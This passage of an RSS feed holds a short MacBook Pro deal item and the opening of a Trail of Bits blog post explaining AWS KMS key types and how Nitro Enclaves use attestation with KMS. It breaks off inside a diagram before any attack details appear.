<content:encoded><![CDATA[Apple's powerhouse 16-inch MacBook Pro with an M5 Max chip and 40-core GPU is $500 off today, the largest discount currently available across the 16-inch lineup.<br><br><div><img src="https://media.appleinsider.com/gallery/68472-144260-16-inch-macbook-pro-m5-max-40c-gpu-deal-xl.jpg" alt="MacBook Pro laptop with abstract dark pattern on screen against colorful gradient background, overlaid large bold text reading M5 MAX 40-CORE GPU"><br><span>Save $500 on Apple's loaded 16-inch MacBook Pro at Amazon - Image credit: Apple</span></div><br>Amazon is <strong><a href="https://www.amazon.com/dp/B0GR17WKN3/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">slashing $500 off</a></strong> Apple's premium 16-inch MacBook Pro with a top-of-the-line M5 Max chip. Equipped with an 18-core CPU and 40-core GPU, the high-end model also has an upgrade to 48GB of RAM and a spacious 2TB SSD.<br><br><a href="https://www.amazon.com/dp/B0GR17WKN3/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Save $500 on M5 Max 16" MacBook Pro</a><br><br><br> <a href="https://appleinsider.com/articles/26/08/05/apples-loaded-m5-max-macbook-pro-with-40-core-gpu-is-500-off-right-now?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245173?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[A few notes on AWS Nitro Enclaves: KMS integration]]></title>
<description><![CDATA[Nitro Enclaves and Key Management
Service (KMS) feel like a
natural fit: since the KMS can verify attestation documents generated by the enclaves, developers
can offload key management tasks from their applications to the AWS-managed service. But integrating
an external service with your trusted ...]]></description>
<link>https://tsecurity.de/de/3705684/it-security-nachrichten/a-few-notes-on-aws-nitro-enclaves-kms-integration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705684/it-security-nachrichten/a-few-notes-on-aws-nitro-enclaves-kms-integration/</guid>
<pubDate>Wed, 05 Aug 2026 13:57:09 +0200</pubDate>
<content:encoded><![CDATA[<p>Nitro Enclaves and <a href="https://blog.trailofbits.com/2024/02/14/cloud-cryptography-demystified-amazon-web-services/">Key Management
Service</a> (KMS) feel like a
natural fit: since the KMS can verify attestation documents generated by the enclaves, developers
can offload key management tasks from their applications to the AWS-managed service. But integrating
an external service with your trusted enclaves comes with new threats, even if that service comes
from the same provider.</p>
<p>In this blog post—the third in our series on Nitro Enclaves, following our posts on <a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/">attack
surface</a> and <a href="https://blog.trailofbits.com/2024/02/16/a-few-notes-on-aws-nitro-enclaves-images-and-attestation/">images and
attestation</a>—we catalog
passive and active attack classes against the enclave-KMS communication channel, and cover the
operational risks that persist even when the cryptography is correct. We also disclose
vulnerabilities in AWS Nitro Enclaves SDK for C and recommend safer alternatives.</p>
<h2>Intro to KMS</h2>
<p>The KMS is a set of Hardware Security Modules (HSM) with public API integrated to the broader AWS
ecosystem. There are three main key types supported by KMS that devs need to care about:</p>
<ul>
<li>Customer-managed keys (<a href="https://docs.aws.amazon.com/kms/latest/cryptographic-details/basic-concepts.html">Customer master
keys</a>, CMK)</li>
<li>Data keys (DK, symmetric)</li>
<li>Data key pairs (asymmetric)</li>
</ul>
<p>CMKs never leave KMS. You request KMS to perform cryptographic operations (like encryption or
signing) for you.</p>
<p>Data keys and key pairs are generated in KMS, are <em>not</em> stored in KMS, and are intended for
programmatic uses.</p>
<p>For symmetric keys, the KMS gives you a plaintext key and the same key encrypted to CMK. Your
application performs encryptions, removes the plaintext key, and stores the key encrypted to a CMK
along the ciphertexts; this pattern is called <a href="https://docs.aws.amazon.com/kms/latest/developerguide/kms-cryptography.html#enveloping">envelope
encryption</a>.</p>
<p>For asymmetric keys, the KMS gives you a plaintext key pair and the private key encrypted to CMK.
Your application creates signatures or encrypts data, deletes the private key, and keeps the public
key and encrypted private key (along with signatures/ciphertexts).</p>
<p>Both types of data keys can be used with <code>Decrypt</code> operation to get plaintext keys again.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 633">
 <g transform="translate(8,16)">
<path d="M 240,48 L 488,48" fill="none" stroke="currentColor"></path>
<path d="M 248,96 L 256,96" fill="none" stroke="currentColor"></path>
<path d="M 272,96 L 280,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 240,128 L 264,128" fill="none" stroke="currentColor"></path>
<path d="M 248,160 L 264,160" fill="none" stroke="currentColor"></path>
<path d="M 40,208 L 240,208" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 488,256" fill="none" stroke="currentColor"></path>
<path d="M 248,320 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 272,320 L 280,320" fill="none" stroke="currentColor"></path>
<path d="M 288,320 L 296,320" fill="none" stroke="currentColor"></path>
<path d="M 304,320 L 312,320" fill="none" stroke="currentColor"></path>
<path d="M 320,320 L 328,320" fill="none" stroke="currentColor"></path>
<path d="M 336,320 L 344,320" fill="none" stroke="currentColor"></path>
<path d="M 352,320 L 360,320" fill="none" stroke="currentColor"></path>
<path d="M 368,320 L 376,320" fill="none" stroke="currentColor"></path>
<path d="M 384,320 L 392,320" fill="none" stroke="currentColor"></path>
<path d="M 400,320 L 408,320" fill="none" stroke="currentColor"></path>
<path d="M 416,320 L 424,320" fill="none" stroke="currentColor"></path>
<path d="M 432,320 L 440,320" fill="none" stroke="currentColor"></path>
<path d="M 448,320 L 456,320" fill="none" stroke="currentColor"></path>
<path d="M 464,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 480,320 L 488,320" fill="none" stroke="currentColor"></path>
<path d="M 240,352 L 264,352" fill="none" stroke="currentColor"></path>
<path d="M 248,400 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 40,448 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 40,496 L 48,496" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 64,496" fill="none" stroke="currentColor"></path>
<path d="M 72,496 L 80,496" fill="none" stroke="currentColor"></path>
<path d="M 88,496 L 96,496" fill="none" stroke="currentColor"></path>
<path d="M 104,496 L 112,496" fill="none" stroke="currentColor"></path>
<path d="M 120,496 L 128,496" fill="none" stroke="currentColor"></path>
<path d="M 136,496 L 144,496" fill="none" stroke="currentColor"></path>
<path d="M 152,496 L 160,496" fill="none" stroke="currentColor"></path>
<path d="M 168,496 L 176,496" fill="none" stroke="currentColor"></path>
<path d="M 184,496 L 192,496" fill="none" stroke="currentColor"></path>
<path d="M 200,496 L 208,496" fill="none" stroke="currentColor"></path>
<path d="M 216,496 L 232,496" fill="none" stroke="currentColor"></path>
<path d="M 240,544 L 488,544" fill="none" stroke="currentColor"></path>
<path d="M 248,592 L 256,592" fill="none" stroke="currentColor"></path>
<path d="M 272,592 L 280,592" fill="none" stroke="currentColor"></path>
<path d="M 288,592 L 296,592" fill="none" stroke="currentColor"></path>
<path d="M 304,592 L 312,592" fill="none" stroke="currentColor"></path>
<path d="M 320,592 L 328,592" fill="none" stroke="currentColor"></path>
<path d="M 336,592 L 344,592" fill="none" stroke="currentColor"></path>
<path d="M 352,592 L 360,592" fill="none" stroke="currentColor"></path>
<path d="M 368,592 L 376,592" fill="none" stroke="currentColor"></path>
<path d="M 384,592 L 392,592" fill="none" stroke="currentColor"></path>
<path d="M 400,592 L 408,592" fill="none" stroke="currentColor"></path>
<path d="M 416,592 L 424,592" fill="none" stroke="currentColor"></path>
<path d="M 432,592 L 440,592" fill="none" stroke="currentColor"></path>
<path d="M 448,592 L 456,592" fill="none" stroke="currentColor"></path>
<path d="M 464,592 L 472,592" fill="none" stroke="currentColor"></path>
<path d="M 480,592 L 488,592" fill="none" stroke="currentColor"></path>
<path d="M 32,16 L 32,608" fill="none" stroke="currentColor"></path>
<path d="M 240,16 L 240,48" fill="none" stroke="currentColor"></path>
<path d="M 240,48 L 240,128" fill="none" stroke="currentColor"></path>
<path d="M 240,128 L 240,208" fill="none" stroke="currentColor"></path>
<path d="M 240,208 L 240,256" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 240,352" fill="none" stroke="currentColor"></path>
<path d="M 240,352 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 240,448 L 240,544" fill="none" stroke="currentColor"></path>
<path d="M 240,544 L 240,608" fill="none" stroke="currentColor"></path>
<path d="M 264,128 L 264,160" fill="none" stroke="currentColor"></path>
<path d="M 264,352 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 496,16 L 496,608" fill="none" stroke="currentColor"></path>
<polygon points="48.000000,208.000000 36.000000,202.399994 36.000000,213.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 208.000000)"></polygon>
<polygon points="48.000000,448.000000 36.000000,442.399994 36.000000,453.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 448.000000)"></polygon>
<polygon points="240.000000,496.000000 228.000000,490.399994 228.000000,501.600006" fill="currentColor" transform="rotate(0.000000, 232.000000, 496.000000)"></polygon>
<polygon points="256.000000,96.000000 244.000000,90.400002 244.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 248.000000, 96.000000)"></polygon>
<polygon points="256.000000,160.000000 244.000000,154.399994 244.000000,165.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 160.000000)"></polygon>
<polygon points="256.000000,320.000000 244.000000,314.399994 244.000000,325.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 320.000000)"></polygon>
<polygon points="256.000000,400.000000 244.000000,394.399994 244.000000,405.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 400.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(180.000000, 248.000000, 592.000000)"></polygon>
<polygon points="496.000000,48.000000 484.000000,42.400002 484.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 488.000000, 48.000000)"></polygon>
<polygon points="496.000000,256.000000 484.000000,250.399994 484.000000,261.600006" fill="currentColor" transform="rotate(0.000000, 488.000000, 256.000000)"></polygon>
<polygon points="496.000000,544.000000 484.000000,538.400024 484.000000,549.599976" fill="currentColor" transform="rotate(0.000000, 488.000000, 544.000000)"></polygon>
<text text-anchor="middle" x="0" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">g</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="436" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="436" fill="currentColor">t</text>
<text text-anchor="middle" x="64" y="484" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="436" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="484" fill="currentColor">_</text>
<text text-anchor="middle" x="80" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="436" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="88" y="196" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="436" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="436" fill="currentColor">(</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">/</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="436" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="436" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="436" fill="currentColor">p</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">p</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="436" fill="currentColor">r</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">r</text>
<text text-anchor="middle" x="136" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="436" fill="currentColor">i</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">i</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="436" fill="currentColor">v</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">v</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="436" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="436" fill="currentColor">s</text>
<text text-anchor="middle" x="168" y="436" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="436" fill="currentColor">g</text>
<text text-anchor="middle" x="184" y="436" fill="currentColor">/</text>
<text text-anchor="middle" x="192" y="436" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="436" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="292" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="280" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="292" fill="currentColor">u</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="280" y="388" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="288" y="388" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="532" fill="currentColor">y</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="292" fill="currentColor">,</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="296" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="388" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="312" y="388" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="532" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">=</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="388" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="292" fill="currentColor">v</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="328" y="388" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="532" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="292" fill="currentColor">,</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="388" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="580" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="388" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="344" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="388" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="532" fill="currentColor">i</text>
<text text-anchor="middle" x="352" y="580" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">l</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="360" y="388" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="580" fill="currentColor">/</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="388" fill="currentColor">b</text>
<text text-anchor="middle" x="368" y="532" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="580" fill="currentColor">p</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">v</text>
<text text-anchor="middle" x="376" y="388" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="580" fill="currentColor">r</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="384" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="388" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="388" fill="currentColor">a</text>
<text text-anchor="middle" x="392" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="580" fill="currentColor">v</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="400" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="400" y="388" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="580" fill="currentColor">}</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">x</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">(</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="408" y="388" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="532" fill="currentColor">/</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="388" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="308" fill="currentColor">}</text>
<text text-anchor="middle" x="432" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="440" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="448" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="448" y="532" fill="currentColor">i</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="456" y="532" fill="currentColor">v</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="532" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 1: Basic KMS operations. <code>cmk_id</code> is an ID (ARN) of CMK key, <code>cmk</code> is the actual key used, <code>enc</code> is encryption, and <code>dec</code> is decryption.</span></figcaption></figure>
<p>Access to keys is subject to <a href="https://docs.aws.amazon.com/kms/latest/developerguide/control-access.html">authorization
policies</a>, including key
policies, IAM policies, and grants. <a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-modifying-external-accounts.html">Cross-account
access</a>
for keys can be enabled.</p>
<p>Keys can be <a href="https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html#key-id">identified in multiple
ways</a>: ARN, Id, Alias
ARN, and Alias name. Keys are usually per-region (single-region), but <a href="https://docs.aws.amazon.com/kms/latest/developerguide/multi-region-keys-overview.html">multi-region keys can be
created</a> too.</p>
<h2>Enclave-KMS communication</h2>
<p>There are two mechanisms that are in play when integrating KMS with Nitro Enclaves:</p>
<ul>
<li>KMS policies restricting access to CMKs to specific enclaves (by PCR values)</li>
<li>KMS encrypting responses to enclave’s public keys</li>
</ul>
<p>In the first mechanism, the key policy may authorize access to only requests that contain fresh and
correctly signed attestation documents with the expected PCR values. Enclaves have to generate
attestations and include them in requests to KMS. Note that the enclave still needs IAM credentials
to access KMS in the first place.</p>
<p>The second mechanism is about enclaves sending asymmetric public keys (inside the attestation
documents) to KMS, and KMS encrypting part of the responses to the key. This mechanism is supposed
to ensure that only the requesting enclave can see output from KMS.</p>
<p>Only <a href="https://docs.aws.amazon.com/kms/latest/developerguide/conditions-attestation.html">a few KMS
operations</a>
support these two mechanisms. The operations are:</p>
<ul>
<li><code>GenerateDataKey</code>, <code>GenerateDataKeyPair</code></li>
<li><code>Decrypt</code></li>
<li><code>DeriveSharedSecret</code></li>
<li><code>GenerateRandom</code></li>
</ul>
<p>Note the absence of the <code>Encrypt</code> operation: enclaves can request this operation, but without the
attestation-based security mechanisms. CMKs cannot be used directly by enclaves for encryption
without missing on the attestation checks. This means cryptography operations are supposed to be
implemented via data keys, and not directly via CMKs.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 560 473">
 <g transform="translate(8,16)">
<path d="M 240,48 L 536,48" fill="none" stroke="currentColor"></path>
<path d="M 248,112 L 256,112" fill="none" stroke="currentColor"></path>
<path d="M 272,112 L 280,112" fill="none" stroke="currentColor"></path>
<path d="M 288,112 L 296,112" fill="none" stroke="currentColor"></path>
